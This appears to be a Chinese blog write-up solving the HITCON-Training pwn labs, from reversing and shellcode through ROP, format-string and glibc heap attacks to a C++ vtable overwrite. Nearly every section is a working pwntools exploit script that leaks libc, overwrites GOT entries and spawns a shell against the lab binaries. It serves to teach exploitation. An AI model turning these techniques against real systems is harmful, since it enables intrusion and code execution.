Outline
- Basic Knowledge
- Introduction
- Reverse Engineering
- Static Analysis
- Dynamic Analysis
- Exploitation
- Useful Tool
- IDA PRO
- GDB
- Pwntool
- lab 1 - sysmagic
- Reverse Engineering
- Section
- Compile,linking,assmbler
- Execution
- how program get run
- Segment
- x86 assembly
- Calling convention
- lab 2 - open/read/write
- shellcoding
- Introduction
- Stack Overflow
- Buffer Overflow
- Return to Text/Shellcode
- lab 3 - ret2shellcode
- Protection
- ASLR/DEP/PIE/StackGuard
- Lazy binding
- Return to Library
- lab 4 - ret2lib
- Return Oriented Programming
- ROP
- lab 5 - simple rop
- Using ROP bypass ASLR
- ret2plt
- Stack migration
- lab 6 - migration
- ROP
- Format String Attack
- Format String
- Read from arbitrary memory
- lab 7 - crack
- Write to arbitrary memory
- lab 8 - craxme
- Advanced Trick
- EBP chain
- lab 9 - playfmt
x64 Binary Exploitation
- x64 assembly
- ROP
- Format string Attack
Heap exploitation
- Glibc memory allocator overview
- Vulnerablility on heap
- Use after free
- lab 10 - hacknote
- Heap overflow
- house of force
- lab 11 - 1 - bamboobox1
- unlink
- lab 11 - 2 - bamboobox2
- house of force
- Use after free
- Advanced heap exploitation
- Fastbin attack
- lab 12 - babysecretgarden
- Shrink the chunk
- Extend the chunk
- lab 13 - heapcreator
- Unsortbin attack
- lab 14 - magicheap
- Fastbin attack
- C++ Exploitation
- Name Mangling
- Vtable fucntion table
- Vector & String
- New & delete
- Copy constructor & assignment operator
- lab 15 - zoo
lab1-sysmagic
这是一题逆向,应该是让你学会静态分析及动态调试。1
2
3
4
5
6
7
8
9fd = open("/dev/urandom", 0);
read(fd, &buf, 4u);
printf("Give me maigc :");
__isoc99_scanf("%d", &v2);
if ( buf == v2 )
{
for ( i = 0; i <= 0x30; ++i )
putchar((char)(*(&v5 + i) ^ *((_BYTE *)&v54 + i)));
}
伪代码跟原C代码非常相似了,就是简单xor,静态方法代码如下:1
2
3v5 = "Do_you_know_why_my_teammate_Orange_is_so_angry???"
v54 = [7, 59, 25, 2, 11, 16, 61, 30, 9, 8, 18, 45, 40, 89, 10, 0, 30, 22, 0, 4, 85, 22, 8, 31, 7, 1, 9, 0, 126, 28, 62, 10, 30, 11, 107, 4, 66, 60, 44, 91, 49, 85, 2, 30, 33, 16, 76, 30, 66]
print ''.join([chr(ord(x)^y) for x,y in zip(v5,v54)]) #CTF{debugger_1s_so_p0werful_1n_dyn4m1c_4n4lySis!}
修改代码方法修改if的判断即可,jnz
改jz
1
2.text:08048722 jz short loc_8048760 ; Keypatch modified this from:
.text:08048722 ; jnz short loc_8048760
patch后运行
gdb动态调试也可1
2b *get_flag+389 #下断点
set $eax=$edx #改成一样 cmp自然能过
lab2-orw.bin
1 | [*] '/home/kira/HITCON-Training/LAB/lab2/orw.bin' |
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
代码很简单,输入后可以运行shellcode,但要留意一下orw_seccomp()
这个函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15unsigned int orw_seccomp()
{
__int16 v1; // [esp+4h] [ebp-84h]
char *v2; // [esp+8h] [ebp-80h]
char v3; // [esp+Ch] [ebp-7Ch]
unsigned int v4; // [esp+6Ch] [ebp-1Ch]
v4 = __readgsdword(0x14u);
qmemcpy(&v3, &unk_8048640, 0x60u);
v1 = 12;
v2 = &v3;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1);
return __readgsdword(0x14u) ^ v4;
}
这个函数会限制syscall的使用,本题只能用open,read,write这三个syscall来cat flag,需要手工进行shellcode编写。调用可通过man查看或到这个网站找1
2
3int open(const char *pathname, int flags); //eax=0x5
ssize_t read(int fd, void *buf, size_t count); //eax=0x3
ssize_t write(int fd, const void *buf, size_t count); //eax=0x4
手写版:fp = open("flag",0) -> read(fp,buf,0x30) -> write(1,buf,0x30)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24from pwn import *
p = process('./orw.bin')
shellcode='''
xor ecx,ecx
mov eax,0x5
push ecx
push 0x67616c66
mov ebx,esp
xor edx,edx
int 0x80
mov ebx,eax
mov ecx,esp
mov ebx,0x3
mov dl,0x30
int 0x80
mov eax,0x4
mov bl,0x1
int 0x80
'''
p.recvuntil(":")
p.send(asm(shellcode))
p.interactive()
利用pwntools的shellcraft
写:1
2
3
4
5
6
7shellcode = shellcraft.pushstr("flag") #flag路径
shellcode += shellcraft.open("esp")
shellcode += shellcraft.read("eax", "esp", 0x30)
shellcode += shellcraft.write(1, "esp", 0x30)
p.recvuntil(":")
p.send(asm(shellcode))
p.interactive()
lab3-ret2sc
1 | [*] '/home/kira/HITCON-Training/LAB/lab3/ret2sc' |
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
在name
处写入shellcode,覆盖ret
为shellcode地址,需要注意的是通过esp寻址的,因此具体的offset可以通过调试查看
1 | from pwn import * |
lab4-ret2lib
1 | [*] '/home/kira/HITCON-Training/LAB/lab4/ret2lib' |
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
开了NX,程序自带打印内存信息的函数,泄露函数地址,溢出后组ROP即可1
2
3
4
5
6
7
8
9
10
11
12p = process("./ret2lib")
elf = ELF("./ret2lib")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
p.sendlineafter(":", str(elf.got["puts"]))
p.recvuntil(" : ")
libc.address = int(p.recvuntil("\n", drop = True), 16) - libc.symbols["puts"]
success("libcBase -> {:#x}".format(libc.address))
payload = flat('a'*60, libc.symbols["system"], 0xdeadbeef, next(elf.search("sh\x00")))
p.sendlineafter(" :", payload)
p.interactive()
lab5-simplerop
1 | [*] '/home/kira/HITCON-Training/LAB/lab5/simplerop' |
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
先找一下常用的rop1
2
3
4
50x0809a15d : mov dword ptr [edx], eax ; ret
0x0806e829 : pop ebx ; pop edx ; ret
0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret
0x080bae06 : pop eax ; ret
0x080493e1 : int 0x80
用ROPgadget用直接生成ropchain,然鹅输入长度不够,必须进行手工修改。方法一:调用read将/bin/sh
读入bss段1
2
3
4
5
6
7
8
9
10
11
12
13
14p_eax_ret = 0x080bae06
p_edx_ecx_ebx_ret = 0x0806e850
int_80 = 0x80493e1
rop = 'a'*32
rop += flat(elf.sym['read'], p_edx_ecx_ebx_ret, 0, elf.bss(), 0x10)
rop += flat(p_edx_ecx_ebx_ret, 0, 0, elf.bss())
rop += flat(p_eax_ret, 0xb, int_80)
print len(rop) # 80
p.sendlineafter(':',rop)
raw_input('getshell')
p.sendline('/bin/sh\x00')
p.interactive()
方法二,修改一下自动生成的ropchain,主要是改了后半段繁琐的rop1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24from struct import pack
# Padding goes here
rop = 'a' * 32
rop += pack('<I', 0x0806e82a) # pop edx ; ret
rop += pack('<I', 0x080ea060) # @ .data
rop += pack('<I', 0x080bae06) # pop eax ; ret
rop += '/bin'
rop += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
rop += pack('<I', 0x0806e82a) # pop edx ; ret
rop += pack('<I', 0x080ea064) # @ .data + 4
rop += pack('<I', 0x080bae06) # pop eax ; ret
rop += '/sh\x00'
rop += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
rop += pack('<I', 0x0806e850) # pop edx ; pop ecx ; pop ebx ; ret
rop += pack('<I', 0)
rop += pack('<I', 0)
rop += pack('<I', 0x080ea060)
rop += pack('<I', 0x080bae06) # pop eax ; ret
rop += pack('<I', 0xb)
rop += pack('<I', 0x080493e1) # int 0x80
print len(rop) #100
p.sendlineafter(':',rop)
p.interactive()
lab6-migration
1 | [*] '/home/kira/HITCON-Training/LAB/lab6/migration' |
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
本题有两个限制:
- main只能使用一次
- 溢出长度只有20字节可以使用
需要使用栈迁移stack privot(或者叫stack migrate),
1 | from pwn import * |
lab7-crack
1 | [*] '/home/kira/HITCON-Training/LAB/lab7/crack' |
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
最简单的格式化字符串漏洞,本题方法有三个:
泄露
password
的值1
2
3
4
5
6
7
8
9from pwn import *
password_addr = 0x804A048
p = process('./crack')
p.sendlineafter("?", p32(password_addr) + "#" + "%10$s" + "#" )
p.recvuntil("#")
password = u32(p.recvuntil("#", drop=True))
p.sendlineafter(":", str(password))
p.interactive()修改
password
的值1
2
3
4
5
6
7from pwn import *
password_addr = 0x804A048
p = process('./crack')
p.sendlineafter("?", fmtstr_payload(10, {password_addr: 7}))
p.sendlineafter(":", str(7))
p.interactive()修改
put@got
为system("cat /home/crack/flag")
1
2
3
4
5
6
7
8
9from pwn import *
password_addr = 0x804A048
puts_got = 0x804A01C
cat_flag = 0x804872B
p = process('./crack')
p.sendlineafter("?", fmtstr_payload(10, {puts_got: cat_flag}))
p.sendlineafter(":", "show me the flag!")
p.interactive()
lab8-craxme
1 | [*] '/home/kira/HITCON-Training/LAB/lab8/craxme' |
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
同样是格式化字符串漏洞,覆盖magic的方法不详述了,可以通过修改puts@got
为read(0, &buf, 0x100u)
,修改printf@got
为system@plt
1
2
3
4
5
6p = process('./craxme')
elf = ELF('./craxme')
p.sendlineafter(":",fmtstr_payload(7, {elf.got['puts']:0x080485A1,elf.got['printf']:elf.plt['system']}))
sleep(0.1)
p.send('/bin/sh\x00')
p.interactive()
lab9-playfmt
1 | [*] '/home/kira/HITCON-Training/LAB/lab9/playfmt' |
1 | int do_fmt() |
字符串存在bss段,不能直接利用,需要在stack上找一对指向stack的地址以及一对指向elf.code段的(有data段更好)1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
2700:0000│ esp 0xffffd480 —▸ 0x804a060 (buf) ◂— '123\n'
01:0004│ 0xffffd484 —▸ 0x8048640 ◂— jno 0x80486b7 /* 'quit' */
02:0008│ 0xffffd488 ◂— 0x4
03:000c│ 0xffffd48c —▸ 0x804857c (play+51) ◂— add esp, 0x10
04:0010│ 0xffffd490 —▸ 0x8048645 ◂— cmp eax, 0x3d3d3d3d
05:0014│ 0xffffd494 —▸ 0xf7fb8000 ◂— 0x1b1db0
06:0018│ ebp 0xffffd498 —▸ 0xffffd4a8 —▸ 0xffffd4b8 ◂— 0x0
07:001c│ 0xffffd49c —▸ 0x8048584 (play+59) ◂— nop step3:最后指向printf@got
08:0020│ 0xffffd4a0 —▸ 0xf7fb8d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
09:0024│ 0xffffd4a4 ◂— 0x0
0a:0028│ 0xffffd4a8 —▸ 0xffffd4b8 ◂— 0x0
0b:002c│ 0xffffd4ac —▸ 0x80485b1 (main+42) ◂— nop step3:最后指向printf@got+2
0c:0030│ 0xffffd4b0 —▸ 0xf7fb83dc —▸ 0xf7fb91e0 ◂— 0x0
... ↓
12:0048│ 0xffffd4c8 ◂— 0x0
13:004c│ 0xffffd4cc —▸ 0xf7e1e637 (__libc_start_main+247) ◂— add esp, 0x10
14:0050│ 0xffffd4d0 ◂— 0x1
15:0054│ 0xffffd4d4 —▸ 0xffffd564 —▸ 0xffffd6c3 ◂— 0x6d6f682f ('/hom') step1:这个用来做跳板1
16:0058│ 0xffffd4d8 —▸ 0xffffd56c —▸ 0xffffd6ef ◂— 'USER=kira' step1:这个用来做跳板2
17:005c│ 0xffffd4dc ◂— 0x0
... ↓
37:00dc│ 0xffffd55c —▸ 0xf7ffd918 ◂— 0x0
38:00e0│ 0xffffd560 ◂— 0x1
39:00e4│ 0xffffd564 —▸ 0xffffd6c3 ◂— 0x6d6f682f ('/hom') step2:指向最后指向printf@got的地址
3a:00e8│ 0xffffd568 ◂— 0x0
3b:00ec│ 0xffffd56c —▸ 0xffffd6ef ◂— 'USER=kira' step2:指向最后指向printf@got+2的地址
3c:00f0│ 0xffffd570 —▸ 0xffffd6f9 ◂— 'LOGNAME=kira'
观察stack情况,挑选标记那4个地址使用1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37def hhn(addr,offset):
return "%{addr}c%{offset}$hhn".format(addr=addr,offset=offset)
def hn(addr,offset):
return "%{addr}c%{offset}$hn".format(addr=addr,offset=offset)
elf = ELF('./'+target)
libc = elf.libc
#gogogo
p.send('start')
p.recvuntil('start')
#step1
p.sendline('%6$p..%15$p..step1\x00')
esp_addr = int(p.recvuntil('..',drop=True),16) - 0x28
success('esp_addr:{:#x}'.format(esp_addr))
libc_start_main_247 = int(p.recvuntil('..',drop=True),16)
libc.address = libc_start_main_247 - libc.symbols['__libc_start_main'] - 247
success('libc.address:{:#x}'.format(libc.address))
#step2
payload = hn((esp_addr+0x1c)&0xffff,0x15)
payload += hn(((esp_addr+0x2c)&0xffff-(esp_addr+0x1c)&0xffff)%0xffff,0x16)
payload += 'step2\x00'
p.sendlineafter('step1',payload)
#step3
payload = hn((elf.got['printf'])&0xffff,0x39)
payload += hn(2,0x3b)
payload += 'step3\x00'
p.sendlineafter('step2',payload)
#step4
print hex(libc.symbols['system'])
payload = hhn(libc.symbols['system'] >> 16 & 0xff,0xb)
payload += hn((libc.symbols['system']&0xffff) - (libc.symbols['system'] >> 16 & 0xff),0x7)
payload += 'step4\x00'
p.sendlineafter('step3',payload)
#step5
p.sendlineafter('step4','/bin/sh\x00')
p.interactive()
lab10-hacknote
1 | [*] '/home/kira/HITCON-Training/LAB/lab10/hacknote' |
1 | struct note |
UAF利用,add两个大小32的note,然后free掉,根据FILO的原则,重新add一个8大小的note,content部分会用到第0个note的结构体空间,将print_note覆盖成magic即可。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25from pwn import *
p = process('./hacknote')
def addnote(size,content):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendlineafter(":",content)
def delnote(idx):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
def printnote(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))
magic = 0x08048986
addnote(32,"0")
addnote(32,"1")
delnote(0)
delnote(1)
addnote(8,p32(magic))
printnote(0)
p.interactive()
lab11-bamboobox
1 | [*] '/home/kira/HITCON-Training/LAB/lab11/bamboobox' |
方法一: house of force
利用change_item
里面修改content可以自定义长度的漏洞,修改top chunk size
,malloc一个大数/负数来实现控制top_chunk
的指针,从而达到任意地址写。1
2
3v3 = malloc(0x10uLL);
*v3 = hello_message;
v3[1] = goodbye_message;
程序在开头将两个函数地址放进heap中,将goodbye_message
改成magic
即可。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26from pwn import *
context(arch = 'amd64', os = 'linux', log_level = "debug")
p = process("./bamboobox")
def add(length, name):
p.sendlineafter(":", "2")
p.sendlineafter(":", str(length))
p.sendafter(":", name)
def change(idx, length, name):
p.sendlineafter(":", "3")
p.sendlineafter(":", str(idx))
p.sendlineafter(":", str(length))
p.sendafter(":", name)
def exit():
p.sendlineafter(":", "5")
magic = 0x400d49
add(0x60,"1111")
change(0,0x70,"a"*0x60 + p64(0) + p64(0xffffffffffffffff)) # overwrite top chunk size
add(-160,"2222") # 减小top chunk指针
add(0x10,p64(magic)*2) # 分配块实现任意地址写
exit()
p.interactive()
方法二:unlink1
2
3
4
5
6
7
8
9pwndbg> x/16gx 0x6020c0
0x6020c0 <itemlist>: 0x0000000000000040 0x000000000063d030 <== ptr
0x6020d0 <itemlist+16>: 0x0000000000000080 0x000000000063d080
0x6020e0 <itemlist+32>: 0x0000000000000040 0x000000000063d110
-----------------unlink后-----------------
pwndbg> x/16gx 0x6020c0
0x6020c0 <itemlist>: 0x0000000000000040 0x00000000006020b0 <== ptr
0x6020d0 <itemlist+16>: 0x0000000000000000 0x0000000000000000
0x6020e0 <itemlist+32>: 0x0000000000000040 0x000000000063d110
制造fakechunk,修改box0
的content
指向0x6020c8-0x18
,此时修改box0
的content
,就能写入0x6020b0
处,改写成atoi@got
,然后泄露地址并修改。
1 | add(0x40, '0' * 8) #0 |
lab12-secretgarden
1 | [*] '/home/kira/HITCON-Training/LAB/lab12/secretgarden' |
程序菜单如下:1
2
3
4
51 . Raise a flower
2 . Visit the garden
3 . Remove a flower from the garden
4 . Clean the garden
5 . Leave the garden
结构体如下:1
2
3
4
5
6struct flower
{
__int64 inuse;
char *name;
char color[24];
};
漏洞点在del()
,存在double free漏洞1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17int del()
{
int result; // eax
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !flowercount )
return puts("No flower in the garden");
printf("Which flower do you want to remove from the garden:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0x63 && *(&flowerlist + v1) ) //没有检查inuse标记位
{
LODWORD((*(&flowerlist + v1))->inuse) = 0;
free((*(&flowerlist + v1))->name);
result = puts("Successful");
}
采用fastbin dup修改free@got即可。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28def raiseflower(length,name,color):
p.sendlineafter(":","1")
p.sendlineafter(":",str(length))
p.sendlineafter(":",name)
p.sendlineafter(":",color)
def visit():
p.sendlineafter(":","2")
def remove(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))
def clean():
p.sendlineafter(":","4")
magic = 0x400c7b
fake_chunk = 0x601ffa
raiseflower(0x50,"0","red")
raiseflower(0x50,"1","red")
remove(0)
remove(1)
remove(0)
raiseflower(0x50,p64(fake_chunk),"blue") #0
raiseflower(0x50,"1","red")
raiseflower(0x50,"0","red")
raiseflower(0x50,"a"*6 + p64(0) + p64(magic)*2 ,"red")
p.interactive()
lab13-heapcreator
1 | [*] '/home/kira/HITCON-Training/LAB/lab13/heapcreator' |
漏洞点在edit_heap()
,留意以下代码,出现了off-by-one漏洞1
2
3
4
5
6if ( heaparray[v1] )
{
printf("Content of heap : ", &buf);
read_input(heaparray[v1]->content, heaparray[v1]->size + 1); //多了一字节
puts("Done !");
}
本题需要利用Extend the chunk
,利用前提是存在可控的off-by-one,创造出overlap chunk,进而更改其他chunk中的内容。
1 | from pwn import * |
lab14-magicheap
1 | [*] '/home/kira/HITCON-Training/LAB/lab14/magicheap' |
unsorted bin attack原理:堆在分配的时候,如果在申请的内存大小所对应的small bin或者large bin里面没有找到对应的chunk,此时会从unsorted bin里面去寻找chunk看是否存在合适的内存分配给用户,这个过程中会把unsorted bin链表给清空,清空的过程中没有进行检查,由此可能会发生任意地址可写。源代码如下:1
2
3/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
如果bck的fd可以被我们控制,这个时候我们就可以让它指向任意地址,最终使*(bck->fd)+0x10
的值被修改成unsorted_chunks(av)
(一般来说是一个很大的正数,无法控制)。常见套路是修改global_max_fast
全局变量,这个变量用于控制最大的Fast chunk的大小,就能使之后的chunk都被当作fast chunk,即可进行Fast bin attack
参考代码https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c
漏洞在edit
函数,编辑的时候任意指定长度,本题只需要修改magic
的值即可1
2
3
4
5
6
7
8
9if ( heaparray[v2] )
{
printf("Size of Heap : ", &buf);
read(0, &buf, 8uLL);
v0 = atoi(&buf);
printf("Content of heap : ", &buf);
read_input(heaparray[v2], v0);
puts("Done !");
}
1 | from pwn import * |
lab15-zoo
参考资料:https://github.com/0x01f/slides/blob/master/pwn_others/pwnincplusplus-160217120850.pdf1
2
3
4
5
6
7[*] '/home/kira/HITCON-Training/LAB/lab15/zoo'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
漏洞点在strcpy
,没有限制长度,可以覆盖其他chunk:1
2
3
4
5
6
7
8
9
10
11
12
13class Dog : public Animal{
public :
Dog(string str,int w){
strcpy(name,str.c_str());
weight = w ;
}
virtual void speak(){
cout << "Wow ~ Wow ~ Wow ~" << endl ;
}
virtual void info(){
...
}
};
程序没有开nx,可以在nameofzoo
里面放shellcode,覆盖vtable的指针即可。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'DEBUG')
sc = asm(shellcraft.sh())
p = process('./zoo')
def add_dog(name,weight):
p.sendlineafter(":","1")
p.sendlineafter(":",name)
p.sendlineafter(":",str(weight))
def remove_ani(idx):
p.sendlineafter(":","5")
p.sendlineafter(":",str(idx))
def listen(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))
#gdb.attach(p,"b *0x40193E\nc\n")
nameofzoo = 0x605420
p.sendlineafter(":", sc + p64(nameofzoo))
add_dog("a"*8,0)
add_dog("b"*8,1)
remove_ani(0)
fake_vptr = nameofzoo + len(sc)
add_dog("c"*72 + p64(fake_vptr),2)
listen(0)
p.interactive()